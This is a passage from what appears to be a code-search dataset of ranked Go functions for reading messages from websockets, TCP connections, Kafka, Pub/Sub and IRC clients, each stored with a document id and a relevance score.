{\n\t\t\treturn nil\n\t\t}\n\n\t\tparts := strings.SplitN(string(line), \" \", 2)\n\t\tif len(parts) != 2 {\n\t\t\tctx.Logf(\"error: MockChan.Read need topic payload\")\n\t\t\tcontinue\n\t\t}\n\t\tm := Msg{\n\t\t\tTopic: parts[0],\n\t\t\tPayload: parts[1],\n\t\t}\n\t\tif err = c.To(ctx, m); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "642d5b118cebd4e0df8be15442dfe0a0", "score": "0.6056515", "text": "func (c *Client) readPump() {\n\tlogrus.Info(\"star read message\")\n\tdefer func() {\n\t\tc.hub.unregister <- c //读取完毕后注销该client\n\t\tc.conn.Close()\n\t\tlogrus.Info(\"websocket Close\")\n\t}()\n\tc.conn.SetReadLimit(maxMessageSize)\n\tpongTime := time.Now().Add(pongWait)\n\tpongWaitSet = pongTime //设置最大读取容量\n\tc.conn.SetReadDeadline(pongTime) //设置读取死亡时间\n\tc.conn.SetPongHandler(func(string) error {\n\t\tt := time.Now().Add(time.Now().Sub(pongWaitSet))\n\t\tc.conn.SetReadDeadline(t)\n\t\treturn nil\n\t}) //响应事件的设置,收到响应后,重新设置死亡时间\n\tfor {\n\t\t_, message, err := c.conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway) {\n\t\t\t\tlogrus.WithFields(logrus.Fields{\"ReadMessageError\": err}).Info(\"websocket\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\tif c.hub.OnMessage != nil { //执行回调函数\n\t\t\tif err := c.hub.OnMessage(message, c.hub); err != nil {\n\t\t\t\tlogrus.WithFields(logrus.Fields{\"ReadOnMessageError\": err}).Info(\"websocket\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "271ed069cb19fc47267426a030f7fb98", "score": "0.6053617", "text": "func (c *AIClient) listenRead(requestCh chan *Message) {\n\tlog.Println(\"Listening read from AI\")\n\n\tfor {\n\t\tselect {\n\n\t\t// read data from websocket connection\n\t\tcase msg := <-c.ai.outCh:\n\t\t\tif c.PlayerId() == msg.PlayerId {\n\t\t\t\trequestCh <- msg\n\t\t\t} else {\n\t\t\t\tlog.Println(\"Error: Wrong client id: \" + c.PlayerId() + \" != \" + msg.PlayerId)\n\t\t\t}\n\n\t\t// receive done request\n\t\tcase <-c.doneCh:\n\t\t\tlog.Println(\"Done received\")\n\t\t\tc.doneCh <- true // for listenWrite method\n\t\t\treturn\n\n\t\t}\n\t}\n}", "title": "" }, { "docid": "05a3015baa23681958348efe209b4d7b", "score": "0.6043754", "text": "func listenRead(conn net.Conn, done chan bool) {\n reader := bufio.NewReader(conn)\n\n for {\n maxLen := 1024 // TODO: this is arbitrary - message header with len would be better\n message := make([]byte, maxLen)\n messageLen, err := receiveIncoming(reader, &message)\n\n if err == io.EOF {\n fmt.Println(\"Connection terminated by peer.\")\n conn.Close()\n done <- true\n break\n }\n\n IV := message[:ivLen]\n ciphertext := message[ivLen:messageLen]\n plaintext := decrypt(ciphertext, IV)\n fmt.Printf(\"Received: %s\", string(plaintext))\n }\n}", "title": "" }, { "docid": "4b1ab941ef716ead7bd678f4bb8621d6", "score": "0.60400414", "text": "func Reader(conn net.Conn){\r\n osReader := bufio.NewReader(os.Stdin) // make a READER\r\n for {\r\n msg,err:=osReader.ReadString('\\n')\r\n if err != nil {\r\n fmt.Println(\"Client DISCONNECTED\")\r\n return\r\n }else {\r\n pass <- msg // pass the user input to channel\r\n }\r\n }\r\n }", "title": "" }, { "docid": "5f537b0cca61fb41475b6a6c20ab5b1b", "score": "0.60350376", "text": "func reader(conn *websocket.Conn) {\n for {\n // read in a message\n messageType, p, err := conn.ReadMessage()\n if err != nil {\n log.Println(err)\n return\n }\n // print out that message for clarity\n fmt.Println(string(p))\n\n if err := conn.WriteMessage(messageType, p); err != nil {\n log.Println(err)\n return\n }\n\n }\n}", "title": "" }, { "docid": "02ab97ba11a80c34ae60bc8a3fae4574", "score": "0.60260046", "text": "func (std *LineReaderService) Read() (<-chan []byte, error) {\n\tmc := make(chan []byte, 0)\n\n\tstd.pub.Subscribe(mc)\n\n\treturn mc, nil\n}", "title": "" }, { "docid": "e9313ffee2d0ab10b2b940409b8648a6", "score": "0.60251564", "text": "func ReadMessage(topic string) []string {\n\tvar returnMessage []string\n\n\tif err := utils.ConsumerObject.Subscribe(topic, nil); err != nil {\n\t\tfmt.Println(\"error subscribing to topic\")\n\t}\n\n\trun := true\n\tfor run == true {\n\t\tselect {\n\t\tcase ev := <-utils.ConsumerObject.Events():\n\t\t\tswitch e := ev.(type) {\n\t\t\tcase kafka.AssignedPartitions:\n\t\t\t\t//fmt.Fprintf(os.Stderr, \"%% %v\\n\", e)\n\t\t\t\tutils.ConsumerObject.Assign(e.Partitions)\n\t\t\tcase kafka.RevokedPartitions:\n\t\t\t\t//fmt.Fprintf(os.Stderr, \"%% %v\\n\", e)\n\t\t\t\tutils.ConsumerObject.Unassign()\n\t\t\tcase *kafka.Message:\n\t\t\t\t//fmt.Printf(\"%% Message on %s:\\n%s\\n\",\n\t\t\t\t//\te.TopicPartition, string(e.Value))\n\t\t\t\treturnMessage = append(returnMessage, string(e.Value))\n\t\t\tcase kafka.PartitionEOF:\n\t\t\t\t//fmt.Printf(\"%% Reached %v\\n\", e)\n\t\t\t\trun = false\n\t\t\tcase kafka.Error:\n\t\t\t\t// Errors should generally be considered as informational, the client will try to automatically recover\n\t\t\t\tfmt.Fprintf(os.Stderr, \"%% Error: %v\\n\", e)\n\t\t\t}\n\t\t}\n\t}\n\tif err := utils.ConsumerObject.Unsubscribe(); err != nil {\n\t\tfmt.Println(\"error Un-subscribing to topic\")\n\t}\n\treturn returnMessage\n}", "title": "" }, { "docid": "01bd33bbad5f00165d0a0603bf246f22", "score": "0.60232896", "text": "func (ms *Microservice) Consume(servers string, topic string, groupID string, readTimeout time.Duration, h ServiceHandleFunc) error {\n\tgo ms.consumeSingle(servers, topic, groupID, readTimeout, h)\n\treturn nil\n}", "title": "" }, { "docid": "045b128b47d561d98c0b51a121f48233", "score": "0.6015387", "text": "func consumeUnicast(payload []byte) {\n\n\tmessage := networking.CalculationMessage{}\n\n\terr := json.Unmarshal(payload, &message)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif message.IsProbe {\n\t\tprobeEcho.Probe <- probeEcho.ProbeMessage{\n\t\t\tCalculationId: message.CalculationId,\n\t\t\tParent: message.Emitter,\n\t\t\tCandidate: message.Candidate,\n\t\t}\n\t} else {\n\t\tprobeEcho.Echo <- probeEcho.EchoMessage{\n\t\t\tCalculationId: message.CalculationId,\n\t\t\tMayBePrime: message.MayBePrime,\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7c8f2fc31ebfb5bb1f74f7ccdfb01f8d", "score": "0.5996306", "text": "func (cdp *Client) consumeMsg() {\n\tfor {\n\t\tselect {\n\t\tcase <-cdp.ctx.Done():\n\t\t\treturn\n\n\t\tcase msg := <-cdp.chReqMsg:\n\t\t\terr := cdp.wsConn.Send(msg.data)\n\t\t\tif err != nil {\n\t\t\t\tcdp.socketClose(err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcdp.callbacks[msg.request.ID] = msg.callback\n\n\t\tcase res := <-cdp.chRes:\n\t\t\tcallback, has := cdp.callbacks[res.ID]\n\t\t\tif has {\n\t\t\t\tdelete(cdp.callbacks, res.ID)\n\t\t\t\tcallback <- res\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7bd7e10377ce4196c3d42ee02a146cbd", "score": "0.5993328", "text": "func Reader(conn net.Conn){\n osReader := bufio.NewReader(os.Stdin) // make a READER\n for {\n msg,err:=osReader.ReadString('\\n')\n if err != nil {\n fmt.Println(\"Client DISCONNECTED\")\n return\n }else {\n pass <- msg // pass the user input to channel\n\n }\n }\n }", "title": "" }, { "docid": "185cda128eeeca7a3e5b2eb8a63335b1", "score": "0.5988169", "text": "func (c *Connection) reader() {\n\n\tdefer c.Close()\n\n\tfor {\n\n\t\t_, message, err := c.conn.ReadMessage()\n\n\t\tlogg.Log(\"reading connection\")\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"read:\", err)\n\t\t\tc.ErrorChannel <- struct{}{}\n\t\t\treturn\n\t\t}\n\t\tlogg.Log(\"recv:\", string(message))\n\n\t\tc.In <- message //sending to worker coroutine\n\n\t\tselect {\n\t\tcase _ = <-c.readerctx.Done(): // checking if someone want to close reader\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "3b3a494f820a0b5d7430017539f614e2", "score": "0.59876156", "text": "func (c *ConnectionManager) Consume(ctx context.Context, consumer sarama.PartitionConsumer) {\n\n\t// continually consume messages from Kafka\nLoop:\n\tfor {\n\t\tselect {\n\t\t// In case of error\n\t\tcase err := <-consumer.Errors():\n\t\t\tlog.Println(\"Consuming Error: \", err)\n\t\tcase msg := <-consumer.Messages():\n\t\t\t//initialize variable to hold data from kafka data\n\t\t\tvar kafkaData KafkaData\n\t\t\terr := json.Unmarshal(msg.Value, &kafkaData) //unmarshal data to json\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Unmarshal Consumer Message Error: \", err)\n\t\t\t}\n\t\t\t// Check if ClientID exists\n\t\t\tc.mutex.RLock() // read lock connection manager per message\n\t\t\t_, contains := c.connections[kafkaData.ClientID]\n\n\t\t\t// if clientID exists, lock state, and send to client's connections\n\t\t\tif contains {\n\t\t\t\t// If client is connected, get map of connections\n\t\t\t\tclientConnections := c.connections[kafkaData.ClientID]\n\t\t\t\t// iterate over client connections\n\t\t\t\tfor conn := range clientConnections {\n\t\t\t\t\tconn.mutex.Lock() // write lock connection because read filters and write to buckets\n\n\t\t\t\t\t// Check if consume message has a different filter than allfilters\n\t\t\t\t\t_, contains := conn.allFilters[kafkaData.EventID]\n\t\t\t\t\tif !contains {\n\t\t\t\t\t\tconn.updateAvailableFilters(kafkaData.EventID)\n\t\t\t\t\t}\n\n\t\t\t\t\t// if connection filter has KafkaData eventID, send data\n\t\t\t\t\t_, hasEvent := conn.activeFilters[kafkaData.EventID]\n\t\t\t\t\tif hasEvent {\n\t\t\t\t\t\t// check if batchArray is full, if so, flush\n\t\t\t\t\t\tif len(conn.batchMap) == c.maxBatchSize {\n\t\t\t\t\t\t\tconn.flush()\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// add KafkaData of just eventID, lat, lng to batchArray\n\t\t\t\t\t\tconn.bucketPoints(Point{\n\t\t\t\t\t\t\tLat: kafkaData.Latitude,\n\t\t\t\t\t\t\tLng: kafkaData.Longitude,\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t\tconn.mutex.Unlock()\n\t\t\t\t}\n\t\t\t}\n\t\t\tc.mutex.RUnlock()\n\t\tcase <-ctx.Done():\n\t\t\t// If receive quit signal, close consumer\n\t\t\tbreak Loop\n\t\t}\n\t}\n\n\tlog.Println(\"Consumption closed\")\n}", "title": "" }, { "docid": "ff32bbc181fd305080a28a52c41f93d6", "score": "0.59849393", "text": "func ReadMessage(conn *websocket.Conn, stopChan chan<- bool) {\n\tfor {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\ttext, err := reader.ReadString('\\n')\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t\tstopChan <- true\n\t\t\treturn\n\t\t}\n\t\terr = conn.WriteMessage(websocket.TextMessage, []byte(text))\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ea83a9e902aa3cae5746aa8f7f37bd8f", "score": "0.59835523", "text": "func (c *client) receive() {\n\n\t// Read message from the client received from the server\n\tfor {\n\t\tmsg := <-c.Message\n\n\t\tif msg == \"/quit\" {\n\t\t\troomList[c.Room].announce(c.Name + \" has left..\")\n\t\t\tbreak\n\t\t}\n\n\t\tlog.Printf(\"receive: client(%v) recvd msg: %s \", c.Conn.RemoteAddr(), msg)\n\n\t\t// Print out message to the current client.\n\t\twriteFormattedMsg(c.Conn, msg)\n\t}\n}", "title": "" }, { "docid": "6327fbfeeb2c41382521dff73996a97b", "score": "0.5968024", "text": "func (client *Client) ReadMessage(IP string) {\n\tdefer func() {\n\t\tmessage := recover()\n\t\tif message != nil {\n\t\t\tprintln(\"Write \", IP, string(MarshalThis(message)))\n\t\t}\n\t\tclient.Server.Remove <- UniqueAddress{IP: IP, ID: client.ID}\n\t\tlog.Println(\"Recovered\")\n\t}()\n\t// This is the packages message ...\n\t// SetReadLimit sets the maximum size in bytes for a message read from the peer.\n\t// If a message exceeds the limit, the connection sends a close message to the peer and\n\t// returns ErrReadLimit to the application.\n\t//\n\t// In Our Case i have set the length of the Message size to be a big number.but , if you really want to set it to limitted size\n\t// you can do so by using the 'maxMessageSize' variable.\n\tclient.Devices[IP].Conn.SetReadLimit(maxMessageSize)\n\tclient.Devices[IP].Conn.SetCloseHandler(\n\t\tfunc(code int, text string) error {\n\t\t\t// This is close handler to be called whenever a close message from the client is sent.\n\t\t\t// send a unregister me message to the main service so that the Unregister function in\n\t\t\t// Main service will close teh closed connection and let the rest.\n\t\t\treturn nil\n\t\t})\n\t/*\tUsing this method below named SetReadDeadLine you can set the maximum time to wait before the next message arrives or sent.\n\t\tthe diration is set using the pong wait variable.\n\t*/\n\t// client.Devices[IP].Conn.SetReadDeadline(time.Now().Add(pongWait))\n\n\tclient.Devices[IP].Conn.SetPongHandler(func(string) error { /*client.Conns[key].Conn.SetReadDeadline(time.Now().Add(pongWait)); */ return nil })\n\tfor {\n\t\t// This slice of byte is used to get a message from the socket connection.\n\t\tmessage := &XChangeMessage{}\n\t\terr := client.Devices[IP].Conn.ReadJSON(message)\n\t\tif err != nil {\n\t\t\tlog.Println(\"ERROR : \", err.Error())\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {\n\t\t\t\tif client.Devices[IP].Conn != nil {\n\t\t\t\t\tclient.Devices[IP].Conn.Close()\n\t\t\t\t}\n\t\t\t\tlog.Println(\"Leaving\")\n\t\t\t\tbreak\n\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tif message == nil || message.Body == nil {\n\t\t\tcontinue\n\t\t}\n\t\tmessage.SenderID = client.ID\n\n\t\tif message.Type == EndToEndClientMessage {\n\t\t\tserverMessage := &XChangeMessage{}\n\t\t\tserverMessage.SenderID = client.ID\n\t\t\tprintln((message.Body))\n\t\t\tif mess := func() (msg string) {\n\t\t\t\tmsg = \"\"\n\t\t\t\tdefer func() {\n\t\t\t\t\t// Recover incase an exception happened ...\n\t\t\t\t}()\n\t\t\t\treturn message.Body.(map[string]interface{})[\"msg\"].(string)\n\t\t\t}(); mess != \"\" {\n\t\t\t\tbody := ClientEchoMessage{Message: mess}\n\t\t\t\tmessage.Body = &body\n\t\t\t\tmessage.Type = EndToEndClientMessage\n\n\t\t\t\t// Here I am Sending the client with the server echo message .\n\t\t\t\tserverMessage.Body = &ServerEchoMessage{ClientID: client.ID, Message: \"\\nYou Said '\" + body.Message + \"'\"}\n\t\t\t\tserverMessage.Type = EndToEndServerReply\n\t\t\t\tclient.Server.Message <- *message\n\t\t\t\ttime.Sleep(time.Second * 1)\n\t\t\t\t// println(\"Before sending ... \")\n\t\t\t\tclient.Server.Message <- *serverMessage\n\t\t\t}\n\t\t} else if message.Type == BroadcastMessageType {\n\t\t\t// When the message is a broadcast message ...\n\t\t\t// try getting the message body\n\t\t\tif msg := func() (msg string) {\n\t\t\t\t// Casting the message from client input is needed to be implemented this way because the clients may send un invalid for message and if error happens\n\t\t\t\t// in this go ruting due to that message the go routine may return with an excption.\n\t\t\t\t// threfore , checking errors this way is the best way to prevent such casting errors.\n\t\t\t\tmsg = \"\"\n\t\t\t\tdefer func() {\n\t\t\t\t\t// recover incase an exception happened.\n\t\t\t\t\trecover()\n\t\t\t\t}()\n\t\t\t\treturn message.Body.(map[string]interface{})[\"msg\"].(string)\n\t\t\t}(); msg != \"\" {\n\t\t\t\tclient.BroadcastHandler.LastMessageNumber++\n\t\t\t\tbody := &BroadcastMessage{Username: client.Username, ID: client.ID, Time: time.Now(), No: client.BroadcastHandler.LastMessageNumber}\n\t\t\t\tclient.BroadcastHandler.Messages = append(client.BroadcastHandler.Messages, *body)\n\t\t\t\tbody.Message = msg\n\t\t\t\tclient.BroadcastHandler.Users[client.ID] = client\n\t\t\t\tmessage.Body = body\n\t\t\t\t/*\n\t\t\t\t\tBefore Sending the message we need to add the broadcast message to the list of broadcast messages in the BroadcastChat Instance.\n\t\t\t\t*/\n\t\t\t\tclient.Server.Message <- *message\n\t\t\t\ttime.Sleep(time.Millisecond * 30)\n\t\t\t}\n\t\t} else if message.Type == BroadcastStopTypingMessage || message.Type == BroadcastTypingMessage {\n\t\t\t// Check whether the client is active of not.\n\t\t\tif client := Clients[client.ID]; client != nil {\n\t\t\t\t// Instantiating the Broadcast Typign message and pass it to the Xcahnge message..\n\t\t\t\tbody := &BroadcastTyping{Username: client.Username, ID: client.ID}\n\t\t\t\tmessage.Body = body\n\t\t\t\tclient.Server.Message <- *message\n\t\t\t\ttime.Sleep(time.Millisecond * 30)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f93131651c0a26264e34d1e459cf3fca", "score": "0.595762", "text": "func (c *app) ReceiveMessage(msg message) {\n\tc.in <- msg\n}", "title": "" }, { "docid": "78533337e91d035e8df2295143262405", "score": "0.594907", "text": "func HandleReceiver(conn net.Conn) {\n\tdefer conn.Close()\n\tvar buf [1024]byte\n\tfor {\n\t\t// read upto 1024 bytes\n\t\tn, err := conn.Read(buf[0:])\n\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tmsg := string(buf[0:n])\n\t\tfmt.Println(\"Messaged received from client: \", msg)\n\t\tmessage := ParseMessage(msg)\n\t\tmessage.ExecuteCommand(conn)\n\t\tbreak\n\t}\n\tfmt.Println(\"Done handle Receiver\", Users)\n\n}", "title": "" }, { "docid": "71b1e7b5c30b9475cbaab32f280ba869", "score": "0.5944463", "text": "func (c *Client) Consume(topic string) (msgs <-chan *Delivery, errChan <-chan error, err error) {\n\tif err := c.ensureExchange(topic); err != nil {\n\t\treturn nil, nil, ErrorEnsureExchange\n\t}\n\tif err := c.ensureConsumerQueues(topic); err != nil {\n\t\treturn nil, nil, ErrorEnsureConsumerQueues\n\t}\n\n\tmultiplexer := make(chan *Delivery)\n\n\tfor i := 0; i != c.numConsumerQueues; i++ {\n\t\tqueue := c.getRk(topic, i)\n\t\tc.workerThreads[queue]++\n\t\tc.workerMultiplexer[queue] = multiplexer\n\t}\n\n\treturn multiplexer, make(chan error), nil\n}", "title": "" }, { "docid": "243381b7d754f1cbdaea5d94656af7e3", "score": "0.59389156", "text": "func (c app) ReceiveMessage(msg message) {\n\tc.in <- msg\n}", "title": "" }, { "docid": "4a831b2b31e495bb8dfd767cf96cc173", "score": "0.59312356", "text": "func (c *client) readPump() {\n\t// this will be executed on function exit\n\tdefer func() {\n\t\th.unregister <- c\n\t\tc.ws.Close()\n\t}()\n\n\tc.ws.SetReadLimit(maxMessageSize)\n\tc.ws.SetReadDeadline(time.Now().Add(pongWait))\n\tc.ws.SetPongHandler(func(string) error {\n\t\tc.ws.SetReadDeadline(time.Now().Add(pongWait))\n\t\treturn nil\n\t})\n\n\t// empty message to be populated with incoming json\n\tmessage := Message{}\n\n\t// loop running in coroutine\n\tfor {\n\t\terr := c.ws.ReadJSON(&message)\n\t\tmessage.UserId = c.id\n\t\tif err != nil {\n\t\t\tl.Error.Println(err)\n\t\t\tbreak\n\t\t}\n\t\tl.Info.Println(&message)\n\t\th.broadcast <- &message\n\t}\n}", "title": "" }, { "docid": "5cfb0b4403a25cf6c312dd00f8c178a9", "score": "0.5923964", "text": "func read(c net.Conn) ([]byte, error) {\n\tvar msgSize, err = messageLength(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsgBuf := make([]byte, msgSize)\n\t_, err = io.ReadFull(c, msgBuf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn msgBuf, nil\n}", "title": "" }, { "docid": "e4192c7241aca8ee4a9ebf9081995c9a", "score": "0.5922511", "text": "func (cPtr *Client) read(conn net.Conn) error {\n\tvar (\n\t\tbuf json.RawMessage\n\t\tdec = json.NewDecoder(conn)\n\t)\n\treadMessage := func() (rs []*jsonrpcMsg, err error) {\n\t\tbuf = buf[:0]\n\t\tif err = decPtr.Decode(&buf); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif isBatch(buf) {\n\t\t\terr = json.Unmarshal(buf, &rs)\n\t\t} else {\n\t\t\trs = make([]*jsonrpcMsg, 1)\n\t\t\terr = json.Unmarshal(buf, &rs[0])\n\t\t}\n\t\treturn rs, err\n\t}\n\n\tfor {\n\t\tresp, err := readMessage()\n\t\tif err != nil {\n\t\t\tcPtr.readErr <- err\n\t\t\treturn err\n\t\t}\n\t\tcPtr.readResp <- resp\n\t}\n}", "title": "" }, { "docid": "fa839687b84a34e01ee6af9e867b9e02", "score": "0.5919873", "text": "func (c *Client) receiver() {\n\treader := bufio.NewReader(c.conn)\n\tfor {\n\t\tdata, err := reader.ReadString('\\n')\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error reading from connection!\")\n\t\t\treturn\n\t\t}\n\n\t\tgo func() {\n\t\t\tmessage, err := c.ParseMessage(data)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t} else {\n\t\t\t\tswitch {\n\t\t\t\tcase message.Command == \"332\":\n\t\t\t\t\tparams := message.Params\n\n\t\t\t\t\tvar msgto, topic string\n\n\t\t\t\t\t// Find the target and advance the params past it\n\t\t\t\t\tif index := strings.Index(params, \" \"); index != -1 {\n\t\t\t\t\t\tparams = params[index+1:]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not get RPL_TOPIC target\")\n\t\t\t\t\t}\n\n\t\t\t\t\t// Find the msgto. This is the channel name.\n\t\t\t\t\tif index := strings.Index(params, \" \"); index != -1 {\n\t\t\t\t\t\tmsgto = strings.ToUpper(params[:index])\n\t\t\t\t\t\tparams = params[index+1:]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not get RPL_TOPIC msgto\")\n\t\t\t\t\t}\n\n\t\t\t\t\t// Find the topic text\n\t\t\t\t\tif index := strings.Index(message.Params, \":\"); index != -1 {\n\t\t\t\t\t\ttopic = params[index+1:]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not get RPL_TOPIC text\")\n\t\t\t\t\t}\n\n\t\t\t\t\t// Find the channel to send the topic to\n\t\t\t\t\tif channel, ok := c.Channels[msgto]; ok == true {\n\t\t\t\t\t\tchannel.Topic <- topic\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"Could not find channel %v for RPL_TOPIC\\n\", msgto)\n\t\t\t\t\t}\n\n\t\t\t\tcase message.Command == \"PRIVMSG\":\n\t\t\t\t\tvar target, text string\n\n\t\t\t\t\tif index := strings.Index(message.Params, \" \"); index != -1 {\n\t\t\t\t\t\ttarget = strings.ToUpper(message.Params[:index])\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not get PRIVMSG target\")\n\t\t\t\t\t}\n\n\t\t\t\t\tif index := strings.Index(message.Params, \":\"); index != -1 {\n\t\t\t\t\t\ttext = message.Params[index+1:]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not get PRIVMSG text\")\n\t\t\t\t\t}\n\n\t\t\t\t\tif channel, ok := c.Channels[target]; ok == true {\n\t\t\t\t\t\tchannel.Out <- text\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Println(\"Could not find channel\")\n\t\t\t\t\t}\n\n\t\t\t\tcase message.Command == \"PING\":\n\t\t\t\t\tc.pong(message.Params)\n\t\t\t\tdefault:\n\t\t\t\t\tfmt.Printf(\"%v %v\\n\", message.Prefix, message.Command)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n}", "title": "" }, { "docid": "88693841491e3d43d31773cc09b7f0f7", "score": "0.5907902", "text": "func (t Session) Read(p []byte) (int, error) {\n\t_, m, err := t.WebSocket.ReadMessage()\n\tif err != nil {\n\t\t// Send terminated signal to process to avoid resource leak.\n\t\treturn copy(p, END_OF_TRANSMISSION), err\n\t}\n\n\tvar msg Message\n\tif err := json.Unmarshal([]byte(m), &msg); err != nil {\n\t\treturn copy(p, END_OF_TRANSMISSION), err\n\t}\n\n\tswitch msg.Op {\n\tcase \"stdin\":\n\t\treturn copy(p, msg.Data), nil\n\tcase \"resize\":\n\t\tt.SizeChan <- remotecommand.TerminalSize{Width: msg.Cols, Height: msg.Rows}\n\t\treturn 0, nil\n\tdefault:\n\t\treturn copy(p, END_OF_TRANSMISSION), fmt.Errorf(\"unknown message type '%s'\", msg.Op)\n\t}\n}", "title": "" }, { "docid": "8f62e5b3b814fec9350813b6d8989978", "score": "0.5907589", "text": "func Read(c messagebird.Client, id string) (*Message, error) {\n\tmmsMessage := &Message{}\n\tif err := c.Request(mmsMessage, http.MethodGet, path+\"/\"+id, nil); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn mmsMessage, nil\n}", "title": "" }, { "docid": "50f4781872b8b1aa88e99f16251b21f8", "score": "0.58956844", "text": "func Receive(ctx context.Context, startConfig func(Message)) {\n\tvar msg Message\n\tpubsubcli, err := pubsub.NewClient(context.Background(), projectID)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\ttopic := pubsubcli.Topic(topicID)\n\tsub := pubsubcli.Subscription(subscriptionID)\n\texists, err := sub.Exists(ctx)\n\tif !exists {\n\t\tsub, err = pubsubcli.CreateSubscription(ctx, subscriptionID, pubsub.SubscriptionConfig{\n\t\t\tTopic: topic,\n\t\t})\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\terr = sub.Receive(ctx, func(ctx context.Context, m *pubsub.Message) {\n\t\terr := json.Unmarshal([]byte(m.Data), &msg)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tm.Ack()\n\t\tstartConfig(msg)\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "8bb2a48ecdb70b36ce9795f147982435", "score": "0.5894246", "text": "func readClientMessages(ws *websocket.Conn, msgChan chan Message) {\n\tfor {\n\t\tvar message Message\n\n\t\t// check to see if there's anything shouldAllowPrompt from the server and if so\n\t\t// send to our channel\n\t\terr := websocket.JSON.Receive(ws, &message)\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error on receiving json on web socket connection %s\\n\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tmsgChan <- message\n\t}\n}", "title": "" }, { "docid": "8b9ff8474824ce980f4bb92a53702ecc", "score": "0.5893096", "text": "func (e *Exchange) read() {\n\tvar resErr error\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase <-e.stop:\n\t\t\tbreak Loop\n\t\tdefault:\n\t\t\tvar res RPCResponse\n\t\t\tif err := e.conn.ReadJSON(&res); err != nil {\n\t\t\t\te.errors <- fmt.Errorf(\"Error reading message: %q\", err)\n\t\t\t}\n\n\t\t\t// Notifications do not have an ID field\n\t\t\tif res.Notifications != nil {\n\t\t\t\tfor _, n := range res.Notifications {\n\t\t\t\t\te.mutex.Lock()\n\t\t\t\t\tsub := e.subscriptions[n.Message]\n\t\t\t\t\te.mutex.Unlock()\n\t\t\t\t\tif sub == nil {\n\t\t\t\t\t\t// Send error to main error channel\n\t\t\t\t\t\te.errors <- fmt.Errorf(\"No subscription found for %s\", n.Message)\n\t\t\t\t\t}\n\t\t\t\t\t// Send the notification to the right channel\n\t\t\t\t\tsub.Data <- n\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\te.mutex.Lock()\n\t\t\t\tcall := e.pending[res.ID]\n\t\t\t\tdelete(e.pending, res.ID)\n\t\t\t\te.mutex.Unlock()\n\n\t\t\t\tif call == nil {\n\t\t\t\t\tresErr = fmt.Errorf(\"No pending request found for response ID %d\", res.ID)\n\t\t\t\t\tbreak Loop\n\t\t\t\t}\n\t\t\t\tcall.Res = res\n\t\t\t\tcall.Done <- true\n\t\t\t}\n\t\t}\n\t}\n\tif resErr != nil {\n\t\te.mutex.Lock()\n\t\tfor _, call := range e.pending {\n\t\t\tcall.Error = resErr\n\t\t\tcall.Done <- true\n\t\t}\n\t\te.mutex.Unlock()\n\t}\n}", "title": "" }, { "docid": "2a6d0bcee10d583c98b224c6166bcabf", "score": "0.5889958", "text": "func (hub *Hub) ConsumeMessage(msgType string, bz []byte) {\n\thub.preHandleNewHeightInfo(msgType, bz)\n\tif hub.skipHeight {\n\t\treturn\n\t}\n\thub.recordMsg(msgType, bz)\n\tif !hub.isTimeToHandleMsg(msgType) {\n\t\treturn\n\t}\n\tif hub.skipToOldChain(msgType) {\n\t\treturn\n\t}\n\thub.handleMsg()\n}", "title": "" }, { "docid": "ac4b076acfa3400e9d37dc87295bbcb9", "score": "0.5883374", "text": "func (s *Socket) ReadMsg() {\r\n\ttmpBuffer := make([]byte, 0)\r\n\tdata := make([]byte, INTERVAL)\r\n\tfor {\r\n\t\t// get length\r\n\t\tn, err := s.Conn.Read(data)\r\n\t\tif err != nil {\r\n\t\t\ts.Conn.Close()\r\n\t\t\ts.CloseChan <- true\r\n\t\t\tfmt.Println(\"Conn has been 